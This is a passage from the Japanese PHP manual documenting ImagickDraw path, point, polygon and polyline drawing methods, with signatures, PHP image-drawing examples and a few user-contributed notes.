    $draw->pathCurveToQuadraticBezierAbsolute(
        150,50,
        250,250
    );

    // This specifies a quadratic bezier curve with the current position as the start
    // point, the control point is mirrored from the previous curves control point
    // and the end point is defined by the x, y values.
    $draw->pathCurveToQuadraticBezierSmoothAbsolute(
        450,250
    );

    // This specifies a quadratic bezier curve with the current position as the start
    // point, the control point is mirrored from the previous curves control point
    // and the end point is defined relative from the current position by the x, y values.
    $draw->pathCurveToQuadraticBezierSmoothRelative(
        200,-100
    );

    $draw->pathFinish();

    $imagick = new \Imagick();
    $imagick->newImage(700, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


二次ベジエ曲線を描画する

  • ≪ ImagickDraw::pathCurveToQuadraticBezierAbsolute
  • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute ≫
  • PHP Manual
  • ImagickDraw
  • 二次ベジエ曲線を描画する

ImagickDraw::pathCurveToQuadraticBezierRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierRelative — 二次ベジエ曲線を描画する

説明

public ImagickDraw::pathCurveToQuadraticBezierRelative ( float $x1 , float $y1 , float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から (x,y) までの二次ベジエ曲線を描画します。 制御点を (x1,y1) とし、相対座標で指定します。このコマンドが終了した後は、 現在の位置は polybezier が使用する最後の (x,y) 座標の組となります。

パラメータ

x1

始点の x 座標。

y1

始点の y 座標。

x

終点の x 座標。

y

終点の y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


二次ベジエ曲線を描画する

  • ≪ ImagickDraw::pathCurveToQuadraticBezierRelative
  • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative ≫
  • PHP Manual
  • ImagickDraw
  • 二次ベジエ曲線を描画する

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — 二次ベジエ曲線を描画する

説明

public ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute ( float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から (x,y) までの二次ベジエ曲線 (絶対座標) を描画します。 制御点の位置は、現在の点と直前のコマンドの制御点の位置から推測します (直線のコマンドがなかったり、直前のコマンドが DrawPathCurveToQuadraticBezierAbsolute, DrawPathCurveToQuadraticBezierRelative, DrawPathCurveToQuadraticBezierSmoothAbsolut あるいは DrawPathCurveToQuadraticBezierSmoothRelative のいずれかでなかった場合は、現在の点を制御点とみなします)。 現在の位置は polybezier が使用する最後の (x,y) 座標の組となります。

この関数を使って、三次ベジエ曲線を描画することはできません。 描画できるのは、二次ベジエ曲線だけです。

パラメータ

x

終点の x 座標。

y

終点の y 座標。

返り値

値を返しません。

例

例1 ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute()

<?php
$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor("black");
$draw->setFillColor("blue");

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->pathStart();
$draw->pathMoveToAbsolute(50,250);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is the first two params, and the end point is the last two params.
$draw->pathCurveToQuadraticBezierAbsolute(
    150,50,
    250,250
);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is mirrored from the previous curves control point
// and the end point is defined by the x, y values.
$draw->pathCurveToQuadraticBezierSmoothAbsolute(
    450,250
);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is mirrored from the previous curves control point
// and the end point is defined relative from the current position by the x, y values.
$draw->pathCurveToQuadraticBezierSmoothRelative(
    200,-100
);

$draw->pathFinish();

$imagick = new \Imagick();
$imagick->newImage(700, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
?>

User Contributed Notes

There are no user contributed notes for this page.


二次ベジエ曲線を描画する

  • ≪ ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute
  • ImagickDraw::pathCurveToRelative ≫
  • PHP Manual
  • ImagickDraw
  • 二次ベジエ曲線を描画する

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — 二次ベジエ曲線を描画する

説明

public ImagickDraw::pathCurveToQuadraticBezierSmoothRelative ( float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から (x,y) までの二次ベジエ曲線 (相対座標) を描画します。 制御点の位置は、現在の点と直前のコマンドの制御点の位置から推測します (直線のコマンドがなかったり、直前のコマンドが DrawPathCurveToQuadraticBezierAbsolute, DrawPathCurveToQuadraticBezierRelative, DrawPathCurveToQuadraticBezierSmoothAbsolut あるいは DrawPathCurveToQuadraticBezierSmoothRelative のいずれかでなかった場合は、現在の点を制御点とみなします)。 現在の位置は polybezier が使用する最後の (x,y) 座標の組となります。

この関数を使って、三次ベジエ曲線を描画することはできません。 描画できるのは、二次ベジエ曲線だけです。

パラメータ

x

終点の x 座標。

y

終点の y 座標。

返り値

値を返しません。

例

例1 ImagickDraw::pathCurveToQuadraticBezierSmoothRelative()

<?php
$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor("black");
$draw->setFillColor("blue");

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->pathStart();
$draw->pathMoveToAbsolute(50,250);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is the first two params, and the end point is the last two params.
$draw->pathCurveToQuadraticBezierAbsolute(
    150,50,
    250,250
);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is mirrored from the previous curves control point
// and the end point is defined by the x, y values.
$draw->pathCurveToQuadraticBezierSmoothAbsolute(
    450,250
);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is mirrored from the previous curves control point
// and the end point is defined relative from the current position by the x, y values.
$draw->pathCurveToQuadraticBezierSmoothRelative(
    200,-100
);

$draw->pathFinish();

$imagick = new \Imagick();
$imagick->newImage(700, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
?>

User Contributed Notes

There are no user contributed notes for this page.


三次ベジエ曲線を描画する

  • ≪ ImagickDraw::pathCurveToQuadraticBezierSmoothRelative
  • ImagickDraw::pathCurveToSmoothAbsolute ≫
  • PHP Manual
  • ImagickDraw
  • 三次ベジエ曲線を描画する

ImagickDraw::pathCurveToRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToRelative — 三次ベジエ曲線を描画する

説明

public ImagickDraw::pathCurveToRelative ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から (x,y) までの三次ベジエ曲線を描画します。 曲線の開始位置の制御点を (x1,y1)、終了位置の制御点を (x2,y2) とし、それぞれ相対座標で指定します。このコマンドが終了した後は、 現在の位置は polybezier が使用する最後の (x,y) 座標の組となります。

パラメータ

x1

開始制御点の x 座標。

y1

開始制御点の y 座標。

x2

終了制御点の x 座標。

y2

終了制御点の y 座標。

x

終点の x 座標。

y

終点の y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


三次ベジエ曲線を描画する

  • ≪ ImagickDraw::pathCurveToRelative
  • ImagickDraw::pathCurveToSmoothRelative ≫
  • PHP Manual
  • ImagickDraw
  • 三次ベジエ曲線を描画する

ImagickDraw::pathCurveToSmoothAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToSmoothAbsolute — 三次ベジエ曲線を描画する

説明

public ImagickDraw::pathCurveToSmoothAbsolute ( float $x2 , float $y2 , float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から (x,y) までの三次ベジエ曲線 (絶対座標) を描画します。 最初の制御点の位置は、現在の点と直前のコマンドの 2 番目の制御点の位置から推測します (直線のコマンドがなかったり、直前のコマンドが DrawPathCurveToAbsolute, DrawPathCurveToRelative, DrawPathCurveToSmoothAbsolute あるいは DrawPathCurveToSmoothRelative のいずれかでなかった場合は、現在の点を最初の制御点とみなします)。 2 番目の制御点 (曲線の終了地点の制御点) は (x2,y2) となります。 現在の位置は polybezier が使用する最後の (x,y) 座標の組となります。

パラメータ

x2

2 番目の制御点の x 座標。

y2

2 番目の制御点の y 座標。

x

終点の x 座標。

y

終点の y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


三次ベジエ曲線を描画する

  • ≪ ImagickDraw::pathCurveToSmoothAbsolute
  • ImagickDraw::pathEllipticArcAbsolute ≫
  • PHP Manual
  • ImagickDraw
  • 三次ベジエ曲線を描画する

ImagickDraw::pathCurveToSmoothRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToSmoothRelative — 三次ベジエ曲線を描画する

説明

public ImagickDraw::pathCurveToSmoothRelative ( float $x2 , float $y2 , float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から (x,y) までの三次ベジエ曲線 (相対座標) を描画します。 最初の制御点の位置は、現在の点と直前のコマンドの 2 番目の制御点の位置から推測します (直線のコマンドがなかったり、直前のコマンドが DrawPathCurveToAbsolute, DrawPathCurveToRelative, DrawPathCurveToSmoothAbsolute あるいは DrawPathCurveToSmoothRelative のいずれかでなかった場合は、現在の点を最初の制御点とみなします)。 2 番目の制御点 (曲線の終了地点の制御点) は (x2,y2) となります。 現在の位置は polybezier が使用する最後の (x,y) 座標の組となります。

パラメータ

x2

2 番目の制御点の x 座標。

y2

2 番目の制御点の y 座標。

x

終点の x 座標。

y

終点の y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


楕円弧を描画する

  • ≪ ImagickDraw::pathCurveToSmoothRelative
  • ImagickDraw::pathEllipticArcRelative ≫
  • PHP Manual
  • ImagickDraw
  • 楕円弧を描画する

ImagickDraw::pathEllipticArcAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathEllipticArcAbsolute — 楕円弧を描画する

説明

public ImagickDraw::pathEllipticArcAbsolute ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の位置から (x, y) まで、絶対座標を使用して楕円弧を描画します。 楕円の大きさと方向は、2 つの半径 (rx, ry) と xAxisRotation で決まります。xAxisRotation は、楕円全体を座標系に対してどれだけ回転させるかを表すものです。 楕円の中心 (cx, cy) は、その他のパラメータの値から自動的に算出されます。 largeArcFlag および sweepFlag は自動計算を支援するためのもので、 楕円の描画方法を定義します。 largeArcFlag が true の場合は考えうる楕円のうち大きいほうを描画します。 sweepFlag が true の場合は時計回りの回転で楕円を描画します。

パラメータ

rx

x 方向の半径。

ry

y 方向の半径。

x_axis_rotation

x 軸の回転。

large_arc_flag

large arc フラグ。

sweep_flag

sweep フラグ。

x

x 座標。

y

y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


楕円弧を描画する

  • ≪ ImagickDraw::pathEllipticArcAbsolute
  • ImagickDraw::pathFinish ≫
  • PHP Manual
  • ImagickDraw
  • 楕円弧を描画する

ImagickDraw::pathEllipticArcRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathEllipticArcRelative — 楕円弧を描画する

説明

public ImagickDraw::pathEllipticArcRelative ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の位置から (x, y) まで、相対座標を使用して楕円弧を描画します。 楕円の大きさと方向は、2 つの半径 (rx, ry) と xAxisRotation で決まります。xAxisRotation は、楕円全体を座標系に対してどれだけ回転させるかを表すものです。 楕円の中心 (cx, cy) は、その他のパラメータの値から自動的に算出されます。 largeArcFlag および sweepFlag は自動計算を支援するためのもので、 楕円の描画方法を定義します。 largeArcFlag が true の場合は考えうる楕円のうち大きいほうを描画します。 sweepFlag が true の場合は時計回りの回転で楕円を描画します。

パラメータ

rx

x 方向の半径。

ry

y 方向の半径。

x_axis_rotation

x 軸の回転。

large_arc_flag

large arc フラグ。

sweep_flag

sweep フラグ。

x

x 座標。

y

y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


現在のパスを終了する

  • ≪ ImagickDraw::pathEllipticArcRelative
  • ImagickDraw::pathLineToAbsolute ≫
  • PHP Manual
  • ImagickDraw
  • 現在のパスを終了する

ImagickDraw::pathFinish

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathFinish — 現在のパスを終了する

説明

public ImagickDraw::pathFinish ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在のパスを終了します。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


直線パスを描画する

  • ≪ ImagickDraw::pathFinish
  • ImagickDraw::pathLineToHorizontalAbsolute ≫
  • PHP Manual
  • ImagickDraw
  • 直線パスを描画する

ImagickDraw::pathLineToAbsolute

(PECL imagick 2)

ImagickDraw::pathLineToAbsolute — 直線パスを描画する

説明

public ImagickDraw::pathLineToAbsolute ( float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から指定した座標まで、絶対座標を使用して直線を描画します。 座標は新しい点に移動します。

パラメータ

x

始点の x 座標。

y

終点の x 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


水平直線パスを描画する

  • ≪ ImagickDraw::pathLineToAbsolute
  • ImagickDraw::pathLineToHorizontalRelative ≫
  • PHP Manual
  • ImagickDraw
  • 水平直線パスを描画する

ImagickDraw::pathLineToHorizontalAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToHorizontalAbsolute — 水平直線パスを描画する

説明

public ImagickDraw::pathLineToHorizontalAbsolute ( float $x ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から指定した座標まで、絶対座標を使用して水平直線を描画します。 座標は新しい点に移動します。

パラメータ

x

x 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


水平直線パスを描画する

  • ≪ ImagickDraw::pathLineToHorizontalAbsolute
  • ImagickDraw::pathLineToRelative ≫
  • PHP Manual
  • ImagickDraw
  • 水平直線パスを描画する

ImagickDraw::pathLineToHorizontalRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToHorizontalRelative — 水平直線パスを描画する

説明

public ImagickDraw::pathLineToHorizontalRelative ( float $x ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から指定した座標まで、相対座標を使用して水平直線を描画します。 座標は新しい点に移動します。

パラメータ

x

x 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


直線パスを描画する

  • ≪ ImagickDraw::pathLineToHorizontalRelative
  • ImagickDraw::pathLineToVerticalAbsolute ≫
  • PHP Manual
  • ImagickDraw
  • 直線パスを描画する

ImagickDraw::pathLineToRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToRelative — 直線パスを描画する

説明

public ImagickDraw::pathLineToRelative ( float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から指定した座標まで、相対座標を使用して直線を描画します。 座標は新しい点に移動します。

パラメータ

x

始点の x 座標。

y

始点の y 座標。

返り値

値を返しません。

User Contributed Notes

Axeia 11-Apr-2009 05:20
Hope this of help of anything, I had one hell of a time to draw a simple pie slice, where in GD2 is very easily done with the 'arc' function.. this is a bit harder to do in imagick.

The degrees are a mess, seems like the path, arc and ellipse functions all use a different system.. utterly confusing.
Code below should at least be of help in understanding how it works.

For an example of the output, please see:
http://www.imagebam.com/image/8e0ca432393602
<?php
    function getPointOnCircumference( $widthOfCircle, $heightOfCircle, $degrees, $x = 0, $y = 0 )
    {
        return array(
            'x' => $x + ($widthOfCircle/2)  * sin( deg2rad( $degrees ) ),
            'y' => $y + ($heightOfCircle/2) * cos( deg2rad( $degrees ) )
        );
    }

    $width  = 200;
    $height = 200;
    $border = 2;
    $x = $width / 2;
    $y = $height / 2;
    $im = new Imagick();
    $im->newImage( $width, $height, "orange", "png" );

    $draw = new ImagickDraw();
    $draw->setFillColor( 'lime' );
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw->setStrokeWidth( 2 );
    $draw->arc( 0, 0, ($width-$border), ($height-$border), 270, 360  ); //270 till 360 degrees
    $im->DrawImage( $draw );

    $draw2 = new ImagickDraw();
    $draw2->setFillColor( 'red' );
    $draw2->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw2->setStrokeWidth( 2 );
    $draw2->ellipse( 100, 100, $x-$border, $y-$border, 0, 90 );         //0 till 90 degrees
    $im->DrawImage( $draw2 );

    $draw3 = new ImagickDraw();
    $draw3->setFillColor( 'navy' );
    $draw3->setStrokeColor( new ImagickPixel( 'white' ) );
    $draw3->setStrokeWidth( 2 );
    $draw3->pathStart();
      $degrees90  = getPointOnCircumference( $width-2*$border,$height-2*$border, 360  );
      $degrees180 = getPointOnCircumference( $width-2*$border,$height-2*$border, 270 );
      $draw3->pathMoveToRelative( $x, $y ); //Move 'pencil' to middle of image.
      $draw3->pathLineToRelative(  $degrees90['x'],  $degrees90['y'] );
      $draw3->pathEllipticArcRelative( $width-$border, $height-$border, 0, false, true, $degrees180['x'], $degrees180['y']-$y+$border );
    $draw3->pathClose();
    $im->DrawImage( $draw3 );

    header( "Content-Type: image/png" );
    echo $im;
?>


垂直直線パスを描画する

  • ≪ ImagickDraw::pathLineToRelative
  • ImagickDraw::pathLineToVerticalRelative ≫
  • PHP Manual
  • ImagickDraw
  • 垂直直線パスを描画する

ImagickDraw::pathLineToVerticalAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToVerticalAbsolute — 垂直直線パスを描画する

説明

public ImagickDraw::pathLineToVerticalAbsolute ( float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から指定した座標まで、絶対座標を使用して垂直直線を描画します。 座標は新しい点に移動します。

パラメータ

y

y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


垂直直線パスを描画する

  • ≪ ImagickDraw::pathLineToVerticalAbsolute
  • ImagickDraw::pathMoveToAbsolute ≫
  • PHP Manual
  • ImagickDraw
  • 垂直直線パスを描画する

ImagickDraw::pathLineToVerticalRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToVerticalRelative — 垂直直線パスを描画する

説明

public ImagickDraw::pathLineToVerticalRelative ( float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から指定した座標まで、相対座標を使用して垂直直線を描画します。 座標は新しい点に移動します。

パラメータ

y

y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


新しいサブパスを開始する

  • ≪ ImagickDraw::pathLineToVerticalRelative
  • ImagickDraw::pathMoveToRelative ≫
  • PHP Manual
  • ImagickDraw
  • 新しいサブパスを開始する

ImagickDraw::pathMoveToAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathMoveToAbsolute — 新しいサブパスを開始する

説明

public ImagickDraw::pathMoveToAbsolute ( float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

絶対座標で指定した座標から、新しいサブパスを開始します。 現在の点は指定した座標となります。

パラメータ

x

始点の x 座標。

y

始点の y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


新しいサブパスを開始する

  • ≪ ImagickDraw::pathMoveToAbsolute
  • ImagickDraw::pathStart ≫
  • PHP Manual
  • ImagickDraw
  • 新しいサブパスを開始する

ImagickDraw::pathMoveToRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathMoveToRelative — 新しいサブパスを開始する

説明

public ImagickDraw::pathMoveToRelative ( float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

相対座標で指定した座標から、新しいサブパスを開始します。 現在の点は指定した座標となります。

パラメータ

x

始点の x 座標。

y

始点の y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


パス描画リストの開始を宣言する

  • ≪ ImagickDraw::pathMoveToRelative
  • ImagickDraw::point ≫
  • PHP Manual
  • ImagickDraw
  • パス描画リストの開始を宣言する

ImagickDraw::pathStart

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathStart — パス描画リストの開始を宣言する

説明

public ImagickDraw::pathStart ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パス描画リストの開始を宣言します。このリストは、対応する DrawPathFinish() コマンドで終了します。 すべての DrawPath コマンドは、このコマンドと DrawPathFinish() コマンドの間にある必要があります。パス描画コマンドは従属コマンドであり、 それ自身だけでは機能しないからです。

返り値

値を返しません。

例

例1 ImagickDraw::pathStart()

<?php
function pathStart($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeOpacity(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);

    $draw->pathStart();
    $draw->pathMoveToAbsolute(50, 50);
    $draw->pathLineToAbsolute(100, 50);
    $draw->pathLineToRelative(0, 50);
    $draw->pathLineToHorizontalRelative(-50);
    $draw->pathFinish();

    $draw->pathStart();
    $draw->pathMoveToAbsolute(50, 50);
    $draw->pathMoveToRelative(300, 0);
    $draw->pathLineToRelative(50, 0);
    $draw->pathLineToVerticalRelative(50);
    $draw->pathLineToHorizontalAbsolute(350);
    $draw->pathclose();
    $draw->pathFinish();

    $draw->pathStart();
    $draw->pathMoveToAbsolute(50, 300);
    $draw->pathCurveToAbsolute(50, 300, 100, 200, 300, 300);
    $draw->pathLineToVerticalAbsolute(350);
    $draw->pathFinish();

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


点を描画する

  • ≪ ImagickDraw::pathStart
  • ImagickDraw::polygon ≫
  • PHP Manual
  • ImagickDraw
  • 点を描画する

ImagickDraw::point

(PECL imagick 2, PECL imagick 3)

ImagickDraw::point — 点を描画する

説明

public ImagickDraw::point ( float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の描画色と濃度を使用して、 指定した座標に点を描画します。

パラメータ

x

点の x 座標。

y

点の y 座標。

返り値

値を返しません。

例

例1 ImagickDraw::point()

<?php
function point($fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setFillColor($fillColor);

    for ($x = 0; $x < 10000; $x++) {
        $draw->point(rand(0, 500), rand(0, 500));
    }

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Brian 26-Oct-2013 04:19
This no longer uses the fill color.  It now uses the stroke color, consistent with the documentation.
spz 26-Sep-2009 11:41
point($x, $y) uses the FillColor of ImagickDraw! This actually took quite a while, till I found out that it's falsely documented on these pages. So to draw single pixels, do it like this:

<?php
$image = new Imagick();
$draw = new ImagickDraw();
$pixel = new ImagickPixel('red');
$image->newImage(10, 10, 'transparent', 'gif');

// Here comes the magick:
$pixel->setColor($_POST[$i."x".$j]);
$draw->setFillColor($pixel);
$draw->point($i,$j);

$image->drawImage($draw);
$image->writeImages($path, true);
?>


多角形を描画する

  • ≪ ImagickDraw::point
  • ImagickDraw::polyline ≫
  • PHP Manual
  • ImagickDraw
  • 多角形を描画する

ImagickDraw::polygon

(PECL imagick 2, PECL imagick 3)

ImagickDraw::polygon — 多角形を描画する

説明

public ImagickDraw::polygon ( array $coordinates ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の線と線幅、そして塗りつぶし色あるいはテクスチャを使用して、 指定した座標配列から多角形を描画します。

パラメータ

coordinates

多次元配列。 array( array( 'x' => 3, 'y' => 4 ), array( 'x' => 2, 'y' => 6 ) ); のような形式となります。

返り値

成功した場合に true を返します。

例

例1 ImagickDraw::polygon()

<?php
function polygon($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeOpacity(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setStrokeWidth(4);

    $draw->setFillColor($fillColor);

    $points = [
        ['x' => 40 * 5, 'y' => 10 * 5],
        ['x' => 20 * 5, 'y' => 20 * 5],
        ['x' => 70 * 5, 'y' => 50 * 5],
        ['x' => 60 * 5, 'y' => 15 * 5],
    ];

    $draw->polygon($points);

    $image = new \Imagick();
    $image->newImage(500, 300, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


線分群を描画する

  • ≪ ImagickDraw::polygon
  • ImagickDraw::pop ≫
  • PHP Manual
  • ImagickDraw
  • 線分群を描画する

ImagickDraw::polyline

(PECL imagick 2, PECL imagick 3)

ImagickDraw::polyline — 線分群を描画する

説明

public ImagickDraw::polyline ( array $coordinates ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の線と線幅、そして塗りつぶし色あるいはテクスチャを使用して、 指定した座標配列から線分群を描画します。

パラメータ

coordinates

x 座標および y 座標の配列。 array( array( 'x' => 4, 'y' => 6 ), array( 'x' => 8, 'y' => 10 ) ) のような形式となります。

返り値

成功した場合に true を返します。

例

例1 ImagickDraw::polyline()

<?php
function polyline($strokeColor, $fillColor, $backgroundColor) {
    $draw = new \ImagickDraw();

    $draw->setStrokeOpacity(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(5);

    $points = [
        ['x' => 40 * 5, 'y' => 10 * 5],
        ['x' => 20 * 5, 'y' => 20 * 5],
        ['x' => 70 * 5, 'y' => 50 * 5],
        ['x' => 60 * 5, 'y' => 15 * 5]
    ];

    $draw->polyline($points);

    $image = new \Imagick();
    $image->newImage(500, 300, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

kris at blackpepper dot co dot nz 10-Jun-2010 08:51
draw a filled Isosceles Triangle

<?php
$width =  601;
$height = 601;

$max_x = $width  - 1;
$max_y = $height - 1;
$mid_y = $max_y / 2;
$mid_x = $max_x / 2;

$fillcolor = '#F00F00';

try {
        $lo_img = new Imagick();
        $lo_img->newImage( $width, $height, new ImagickPixel('transparent'));

        $draw = new ImagickDraw();

        $draw->setFillColor($fillcolor);
        $draw->setStrokeWidth( 1 );

                            //start point                  //end point
        $co_ords = array( array( 'x' => $mid_x, 'y' => 0 ),array('x'=>0,'y'=>$max_y)
                ,array( 'x' => 0, 'y' => $max_y ),array('x'=>$max_x,'y'=>$max_y)
                 ,array( 'x' => $mid_x, 'y' => 0 ),array('x'=>$max_x,'y'=>$max_y)
                );

        $draw->polyline($co_ords);

        $lo_img->drawImage( $draw );

        $lo_img->setImageFormat( "png" );

        header( "Content-Type: image/png" );
        echo $lo_img;

        $lo_img->destroy();
        $draw->destroy();
        exit;

    } catch (Exception $ex) {
        print_r($ex);
        return;
    }
?>


スタック内の現在の ImagickDraw を破棄し、事前に push された ImagickDraw を返す

  • ≪ ImagickDraw::polyline
  • ImagickDraw::popClipPath ≫
  • PHP Manual
  • ImagickDraw
  • スタック内の現在の ImagickDraw を破棄し、事前に push された ImagickDraw を返す

ImagickDraw::pop

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pop — スタック内の現在の ImagickDraw を破棄し、事前に push された ImagickDraw を返す

説明

public ImagickDraw::pop ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

スタック内の現在の ImagickDraw を破棄し、事前に push された ImagickDraw を返します。 複数の ImagickDraw が存在する可能性もあります。 push された回数より多くの ImagickDraw の pop を試みるとエラーとなります。 また、ImagickDrow が push されたときと同じ方式で pop する必要があります。

返り値

成功した場合に true、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


クリップパスの定義を終了する

  • ≪ ImagickDraw::pop
  • ImagickDraw::popDefs ≫
  • PHP Manual
  • ImagickDraw
  • クリップパスの定義を終了する

ImagickDraw::popClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::popClipPath — クリップパスの定義を終了する

説明

public ImagickDraw::popClipPath ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

クリップパスの定義を終了します。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


定義リストを終了する

  • ≪ ImagickDraw::popClipPath
  • ImagickDraw::popPattern ≫
  • PHP Manual
  • ImagickDraw
  • 定義リストを終了する

ImagickDraw::popDefs

(PECL imagick 2, PECL imagick 3)

ImagickDraw::popDefs — 定義リストを終了する

説明

